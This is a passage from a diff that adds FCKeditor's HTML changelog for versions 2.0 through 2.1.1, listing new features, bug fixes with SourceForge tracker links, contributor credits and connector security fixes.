+                       is not defined and the borders are not dotted. </li>
+               <li>Hidden fields now get rendered on Firefox. </li>
+               <li>The BasePath is now included in the debugger URL to avoid problems when calling
+                       it from plugins.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a target="_blank" href="http://www.alkacon.com">
+                       Alkacon Software</a>.</p>
+       <h3>
+               Version 2.1.1</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>The new &quot;<strong>Insert Page Break</strong>&quot;&nbsp;command (for printing)&nbsp;has
+                       been introduced.* </li>
+               <li>The editor package now has a root directory called &quot;FCKeditor&quot;.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1326285&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1326285</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1316430&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1316430</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1323662&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1323662</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1326223&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1326223</a>] We are doing a little step back with this version.
+                       The ENTER and BACKSPACE behavior changes for Firefox have been remove. It is a nice
+                       feature, but we need much more testing&nbsp;on it. It introduced some bugs and so
+                       its preferable to not have that feature, avoiding problems (even if that feature
+                       was intended to solve some issues). </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1289372&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1275714</a>] Comments in the beginning of the source are now preserved when
+                       using the &quot;undo&quot; and &quot;redo&quot; commands. </li>
+               <li>The &quot;undo&quot; and &quot;redo&quot; commands now work for the Style command.
+               </li>
+               <li>An error in the execution of the pasting commands on Firefox has been fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1326184&amp;group_id=75348">SF
+                       BUG-1326184</a>] No strange (invalid) entities are created when using Firefox. Also,
+                       the &amp;nbsp; used by the FillEmptyBlocks setting is maintained even if you disable
+                       the ProcessHTMLEntities setting.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a target="_blank" href="http://www.acttive.com.br/">
+                       Acctive Software&nbsp;S.A.</a>.</p>
+       <h3>
+               Version 2.1</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1200328&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1200328</a>] The editor now offers a way to &quot;protect&quot; part of the
+                       source to remain untouched while editing or changing views.&nbsp;Just use the &quot;FCKConfig.ProtectedSource&quot;
+                       object to configure it and customize to your needs. It is based on regular expressions.
+                       See fckconfig.js for some samples. </li>
+               <li>The editor now offers native support for <strong>Lasso</strong>. Thanks and welcome&nbsp;to
+                       our new developer Jason Huck. </li>
+               <li>New language files are available:
+                       <ul>
+                               <li><strong>Faraose</strong> (by S&iacute;min Lassaberg and&nbsp;Helgi Arnthorsson)
+                               </li>
+                               <li><strong>Malay</strong> (by Fairul Izham Mohd Mokhlas) </li>
+                               <li><strong>Mongolian</strong> (by Lkamtseren Odonbaatar) </li>
+                               <li><strong>Vietnamese</strong> (by Phan Binh Giang)</li>
+                       </ul>
+               </li>
+               <li>A new configurable&nbsp;ColdFusion connector is available. Thanks to Mark Woods.
+                       Many enhancements has been introduced with it. </li>
+               <li>The PHP connector for the default File Browser now sorts the folders and files names.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1289372&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1289372</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1282758&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1282758</a>] In the PHP connector it is now possible to set the absolute
+                       (server) path to the User Files directory, avoiding problems with Virtual Directories,
+                       Symbolic Links or Aliases. Take a look at the config.php file. </li>
+               <li>The ASP.Net uploader (for Quick Uploads) has been added to the package. </li>
+               <li>A new way to define <strong>simple &quot;combo&quot; toolbar items</strong> , like
+                       Style and Font, has been introduced.&nbsp;Thanks&nbsp;to Steve Lineberry.&nbsp;See
+                       sample06.html and the &quot;simplecommands&quot; plugin&nbsp;to fully understand
+                       it. </li>
+               <li>A new test case has been added that shows how to set the editor background dynamically
+                       without using a CSS. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155906&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1155906</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1110116&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1110116</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1216332&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1216332</a>] The &quot;AutoDetectPasteFromWord&quot; configuration option
+                       is back (IE only feature). </li>
+               <li>The&nbsp;new &quot;OnAfterLinkedFieldUpdate&quot; event has been introduced. If
+                       is fired when the editor updates its hidden associated field. </li>
+               <li>Attention: The color of the right border of the toolbar (left on RTL interfaces)
+                       has been moved from code to the CSS (TB_SideBorder class). Update your custom skins.
+               </li>
+               <li>A&nbsp;sample &quot;htaccess.txt&quot; file has been added to the editor's package
+                       to show how to configure some Linux sites that could present problems on Firefox
+                       with &quot;Illegal characters&quot; errors. Respectively the &quot;&iuml;&raquo;&iquest;&quot;
+                       chars. </li>
+               <li>With the JavaScript, ASP and PHP integration files, you can set the QueryString
+                       value &quot;fcksource=true&quot; to load the editor using the source files (located
+                       in the _source directory) instead of the compressed ones. Thanks to Kae Verens for
+                       the suggestion. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1246623&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1246623</a>] The new configuration option &quot;ForceStrongEm&quot; has
+                       been introduced so you can force the editor to convert all &lt;B&gt; and &lt;I&gt;
+                       tags to &lt;STRONG&gt; and &lt;EM&gt; respectively. </li>
+               <li>A nice contribution has been done by Goss Interactive Ltd:
+                       <ul>
+                               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1246949&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1246949</a>] Implemented ENTER key and BACKSPACE key handlers for Gecko so that
+                                       P tags (or an appropriate block element) get inserted instead of BR tags when not
+                                       in the UseBROnCarriageReturn config mode.
+                                       <br />
+                                       The ENTER key handling has been written to function much the same as the ENTER key
+                                       handling on IE : as soon as the ENTER key is pressed, existing content will be wrapped
+                                       with a suitable block element (P tag) as appropriate and a new block element (P
+                                       tag) will be started.
+                                       <br />
+                                       The ENTER key handler also caters for pressing ENTER within empty list items - ENTER
+                                       in an empty item at the top of a list will remove that list item and start a new
+                                       P tag above the list; ENTER in an empty item at the bottom of a list will remove
+                                       that list item and start a new P tag below the list; ENTER in an empty item in the
+                                       middle of a list will remove that list item, split the list into two, and start
+                                       a new P tag between the two lists. </li>
+                               <li>Any tables that are found to be incorrectly nested within a block element (P tag)
+                                       will be moved out of the block element when loaded into the editor. This is required
+                                       for the new ENTER/BACKSPACE key handlers and it also avoids non-compliant HTML.&nbsp;
+                               </li>
+                               <li>The InsertOrderedList and InsertUnorderedList commands have been overridden on Gecko
+                                       to ensure that block elements (P tags) are placed around a list item's content when
+                                       it is moved out of the list due to clicking on the editor's list toolbar buttons
+                                       (when not in the UseBROnCarriageReturn config mode). </li>
+                       </ul>
+               </li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1253255&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1253255</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1253255&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1265520</a>] Due to changes on version 2.0, the anchor list was not anymore
+                       visible in the link dialog window. It has been fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1242979&amp;group_id=75348">SF
+                       BUG-1242979</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1251354&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1251354</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1256178&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1256178</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1274841&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1274841</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1303949&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1303949</a>] Due to a bug on Firefox, some keys stopped working
+                       on startup over Firefox. It has been fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1251373&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1251373</a> ] The above fix also has&nbsp;corrected some strange behaviors on
+                       Firefox. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1144258">SF
+                       BUG-1144258</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1092081">SF
+                               BUG-1092081</a>] The File Browsers now run on the&nbsp;same server session used
+                       in the page where the editor is placed in (IE issue). Thanks to Simone Chiaretta.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1305619&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1305619</a> ] No more repeated login dialogs when running the editor with Windows
+                       Integrated Security with IIS. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1245304&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1245304</a>] The Test Case 004 is now working correctly. It has been changed
+                       to set the editor hidden at startup. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1290610&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1290610</a> ] Over HTTPS, there were some warnings when loading the Images,
+                       Flash and Link dialogs. Fixed. </li>
+               <li>Due to Gecko bugs, two errors were thrown when loading the editor in a hidden div.
+                       Workarounds have been introduced. In any case, the testcase 004 hack is needed when
+                       showing the editor (as in a tabbed interface). </li>
+               <li>An invalid path in the dialogs CSS file has been corrected. </li>
+               <li>On IE, the Undo/Redo can now be controlled using the Ctrl+Z and Ctrl+Y shortcut
+                       keys. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1295538&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1295538</a> ] A few Undo/Redo fixes for IE have been done. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1247070&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1247070</a>] On Gecko, it is now possible to use the shortcut keys for Bold
+                       (CTRL+B), Italic (CTRL+I) and Underline (CTRL+U), like in IE. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1274303&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1274303</a>] The &quot;Insert Column&quot; command is now working correctly
+                       on TH cells. It also copies any attribute applied to the source cells. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1287070&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1287070</a> ] In the Universal Keyboard, the Arabic keystrokes translator
+                       is now working with Firefox. Thanks again to Abdul-Aziz Al-Oraij. </li>
+               <li>The editor now handles AJAX requests with HTTP status 304. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1157780&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1157780</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1229077&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1229077</a>] Weird comments are now handled correctly (ignored on some cases).
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155774&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1155774</a>] A spelling error in the Bulleted List Properties dialog has been
+                       corrected. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1272018&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1272018</a>] The ampersand character can now be added from the Special Chars
+                       dialog. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1263161&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1263161</a>] A small fix has been applied to the sampleposteddata.php file.
+                       Thanks to Mike Wallace. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1241504&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1241504</a>] The editor now looks also for the ID of the hidden linked field.
+               </li>
+               <li>The caption property on tables is now working on Gecko. Thanks to Helen Somers (Goss
+                       Interactive Ltd). </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1297431&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1297431</a>] With IE, the editor now works locally when its files are placed
+                       in a directory path that contains spaces. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1279551&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1279551</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1242105&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1242105</a>] On IE, some features are dependant of ActiveX components (secure...
+                       distributed&nbsp;with IE itself). Some security setting could avoid the usage of
+                       those components and the editor would stop working. Now a message is shown, indicating
+                       the use the minimum necessary settings need&nbsp;by the editor to run. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1298880&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1298880</a>] Firefox can't handle the STRONG and EM tags. Those tags are now
+                       converted to B and I so it works accordingly. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1271723&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1271723</a>] On IE, it is now possible to select the text and work correctly
+                       in the contents of absolute positioned/dimensioned divs. </li>
+               <li>On IE, there is no need to click twice in the editor to&nbsp;activate the cursor
+                       in the editing area. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1221621&amp;group_id=75348">SF
+                       BUG-1221621</a>] Many &quot;warnings&quot; in the Firefox console are not thrown
+                       anymore. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1295526&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1295526</a>] While&nbsp;editing on &quot;FullPage&quot; mode the basehref is
+                       now active for CSS &quot;link&quot; tags. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1222584&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1222584</a>] A small fix to the PHP connector has been applied. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1281313&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1281313</a>] A few small changes to avoid problems with Plone. Thanks to Jean-mat.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1275911&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1275911</a>] A check for double dots sequences on directory names on creation
+                       has been introduced to the PHP and ASP connectors.</li>
+       </ul>
+       <h3>
+               Version 2.0</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>The&nbsp;new &quot;<strong>Flash</strong>&quot; command is available. Now you can
+                       easily handle Flash content, over IE and Gecko, including server browser integration
+                       and context menu support. Due to limitations of the browsers, it is not possible
+                       to see the preview of the movie while editing, so a nice &quot;placeholder&quot;
+                       is used instead. * </li>
+               <li>A&nbsp;&quot;<strong>Quick Upload</strong> &quot; option is now available in the
+                       link, image and flash dialog windows, so the user don't need to go (or have) the
+                       File Browser for this operations. The ASP and PHP uploader&nbsp;are included.&nbsp;Take
+                       a look at the configuration file.*** </li>
+               <li>Added support for <strong>Active FoxPro Pages</strong> . Thanks to our new developer,
+                       S&ouml;nke Freitag. </li>
+               <li>It is now possible to <strong>disable the size handles</strong> for images and tables
+                       (IE only feature). Take a look at the DisableImageHandles and DisableTableHandles
+                       configuration options. </li>
+               <li>The handles on form fields&nbsp;(small squares around them) and the inline editing
+                       of&nbsp;its contents&nbsp;have been disabled. This makes it easier to users to use
+                       the controls. </li>
+               <li>A much better support for Word pasting operations has been introduced. Now it uses
+                       a dialog box, in this way we have better results and more control.** </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1225372&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1225372</a>] A small change has been done to the PHP integration file. The
+                       generic __construct constructor has been added for better PHP 5 sub-classing&nbsp;compatibility
+                       (backward compatible). Thanks to Marcus Bointon.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>ATTENTION: Some security changes have been made to the connectors. Now you must
+                       explicitly enable the connector you want to use. Please test your application before
+                       deploying this update. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1211591">SF
+                       BUG-1211591</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1204273&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1204273</a>] The connectors have been changed so it is not possible to use
+                       &quot;..&quot; on directory names. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1219734&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1219734</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1219728&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1219728</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1208654&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1208654</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1205442&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1205442</a>] There was an error in the page unload on some cases
+                       that has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1209708">SF
+                       BUG-1209708</a>] [<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1214125">SF
+                               BUG-1214125</a>] The undo on IE is now working correctly when the user starts
+                       typing. </li>
+               <li>The preview now loads &quot;Full Page&quot; editing correctly. It also uses the
+                       same XHTML code produced by the final output. </li>
+               <li>The &quot;Templates&quot; dialog was not working on some very specific (and strange)
+                       occasions over IE. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1199631&amp;group_id=75348">SF
+                       BUG-1199631</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1171944&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1171944</a>] A new option is available to avoid a bad IE behavior that shows
+                       the horizontal scrollbar even when not needed. You can now force the vertical scrollbar
+                       to be always visible. Just set the &quot;IEForceVScroll&quot; configuration option
+                       to &quot;true&quot;. Thanks to Grant Bartlett. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1212026&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1212026</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1228860&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1228860</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1211775&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1211775</a>] [<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1199824">SF
+                                               BUG-1199824</a>] An error in the Packager has been corrected. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1163669">SF
+                       BUG-1163669</a>] The XHTML processor now adds a space before the closing slash of
+                       tags that don't have a closing tag, like &lt;br /&gt;. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1213733&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1213733</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1216866&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1216866</a>]&nbsp;[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1209673&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1209673</a>]&nbsp;[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155454&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1155454</a>]&nbsp;[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1187936&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1187936</a> ]&nbsp;Now, on Gecko, the source is opened in a
+                       dialog window to avoid fatal errors (Gecko bugs). </li>
+               <li>Some pages have been changed to avoid importing errors on Plone. Thanks to Arthur
+                       Kalmenson. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1171606&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1171606</a>] There&nbsp;is a bug on IE that makes the editor to not work if
+                       the instance name matches a meta tag name. Fixed. </li>
+               <li>On Firefox, the source code is now opened in a dialog box, to avoid error on pages
+                       with more than one editor. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1225703&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1225703</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1214941&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1214941</a>] The &quot;ForcePasteAsPlainText&quot; configuration option
+                       is now working correctly on Gecko browsers. Thanks to Manuel Polo. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1228836&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1228836</a>] The &quot;Show Table Borders&quot; feature is now working on Gecko
+                       browsers. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1212529&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1212529</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1212517&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1212517</a>] The default File Browser now accepts connectors with querystring
+                       parameters (with &quot;?&quot;). Thanks to Tomas Jucius. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1233318&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1233318</a>] A JavaScript error thrown when using the Print command has been
+                       fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1229696&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1229696</a>] A regular expression has been escaped to avoid problems when opening
+                       the code in some editors. It has been moved to a&nbsp;dialog window. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1231978&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1231978</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1228939&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1228939</a>] The Preview window is now using the Content Type and Base href.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1232056&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1232056</a>] The&nbsp;anchor icon is now working correctly on IE. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1232056&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1202468</a>] The anchor icon is now available on Gecko too. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1236279&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1236279</a>] A security warning has been corrected when using the File Browser
+                       over HTTPS. </li>
+               <li>The ASP implementation now avoid errors when setting the editor value to null values.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1237359&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1237359</a>] The trailing &lt;BR&gt; added by Gecko at the end of the source
+                       is now removed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1170828">SF
+                       BUG-1170828</a>] No more &amp;nbsp; is added to the source when using the &quot;New
+                       Page&quot; button. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1165264&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1165264</a>] A&nbsp;new configuration option has been included to force the
+                       editor to ignore empty paragraph values&nbsp;(&lt;p&gt;&amp;nbsp;&lt;/p&gt;), returning
+                       empty (&quot;&quot;). </li>
+               <li>No more &amp;nbsp; is added when creating a table or adding columns, rows or cells.
+               </li>
+               <li>The &lt;TD&gt; tags are now included in the FillEmptyBlocks configuration handling.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1224829&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1224829</a>] A small bug in the &quot;Find&quot; dialog has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1221307&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1221307</a>] A small bug in the &quot;Image&quot; dialog has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1219981&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1219981</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155726&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1155726</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1178473&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1178473</a>] It is handling the &lt;FORM&gt;, &lt;TEXTAREA&gt; and &lt;SELECT&gt;
+                       tags &quot;name&quot; attribute correctly. Thanks to thc33. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1205403&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1205403</a>] The checkbox and radio button values are now handled correctly
+                       in their dialog windows. Thanks to thc33. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1236626&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1236626</a>] The toolbar now doesn't need to collapse when unloading the page
+                       (IE only). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1212559&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1212559</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1017231&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1017231</a>] The &quot;Save&quot; button now calls the &quot;onsubmit&quot;
+                       event before posting the form. The submit can be cancelled if the onsubmit returns
+                       &quot;false&quot;. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1215823&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1215823</a>] The editor now works correctly on Firefox if it values is set to
+                       &quot;&lt;p&gt;&lt;/p&gt;&quot;. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1217546&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1217546</a>] No error is thrown when &quot;pasting as plain text&quot; and no
+                       text is available for pasting (as an image for example). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1207031&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1207031</a>] [<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1223978">SF
+                               BUG-1223978</a>] The context menu is now available in the source view. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1213871">SF
+                       BUG-1213871</a>] Undo has been added to table creation and table operation commands.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1205211&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1205211</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1229941&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1229941</a>] Small bug in the mcpuk file browser&nbsp;have been corrected.</li>
